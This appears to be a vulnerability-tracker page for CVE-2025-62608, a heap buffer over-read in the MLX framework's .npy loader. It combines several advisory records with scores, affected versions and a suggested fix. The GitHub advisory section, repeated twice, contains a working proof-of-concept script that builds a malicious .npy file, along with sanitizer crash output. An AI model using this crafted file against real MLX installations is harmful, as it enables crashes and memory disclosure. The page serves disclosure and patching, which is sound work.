CVE-2025-62608
MLX has heap-buffer-overflow in load()
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.5
MLX has heap-buffer-overflow in load()
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
- Record
CVE-2025-62608- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-122
- Updated
- 2026-11-02
EUVDEUVD-2025-198501
5.5
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
- Record
EUVD-2025-198501- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-w6vg-jg77-2qg6
5.5
MLX has heap-buffer-overflow in load()
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)…
- Record
GHSA-w6vg-jg77-2qg6- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-122
- Updated
- 2026-11-02
NVD
5.5
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
- Record
CVE-2025-62608- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-122
- Updated
- 2026-11-02
OSV
5.5
MLX has heap-buffer-overflow in load()
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
- Record
CVE-2025-62608- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-122
- Updated
- 2026-11-02
OSVGHSA-w6vg-jg77-2qg6
5.5
MLX has heap-buffer-overflow in load()
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)…
- Record
GHSA-w6vg-jg77-2qg6- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-122
- Updated
- 2026-11-02
OSVPYSEC-2025-138
9.1
MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.
- Record
PYSEC-2025-138- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mlxPyPI |
through 0.29.3 | 0.29.4 |
mlxPyPI |
before 0.29.4, plus listed versions 0.0.100.0.110.0.20.0.30.0.4 Show 40 moreShow less0.0.50.0.60.0.70.0.90.1.00.10.00.11.10.12.20.13.00.13.10.14.10.15.20.16.30.17.30.18.10.19.30.2.00.20.00.21.10.22.10.23.20.24.20.25.20.26.10.26.20.26.30.26.50.27.10.28.00.29.00.29.10.29.20.29.30.3.00.4.00.5.10.6.00.7.00.8.10.9.1 |
0.29.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-62608 is a medium vulnerability (CVSS 5.5) in Ml-explore Mlx, published November 21, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.56%, the 46th percentile. Fixed in mlx 0.29.4.
References
github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6
github.com/ml-explore/mlx/pull/1
github.com/ml-explore/mlx/pull/2
nvd.nist.gov/vuln/detail/CVE-2025-62608
github.com/pypa/advisory-database/tree/main/vulns/mlx/PYSEC-2025-138.yaml
github.com/advisories/GHSA-w6vg-jg77-2qg6
github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62608.json
github.com/ml-explore/mlx
Left out here: the rest of 2 source descriptions. The JSON record has them.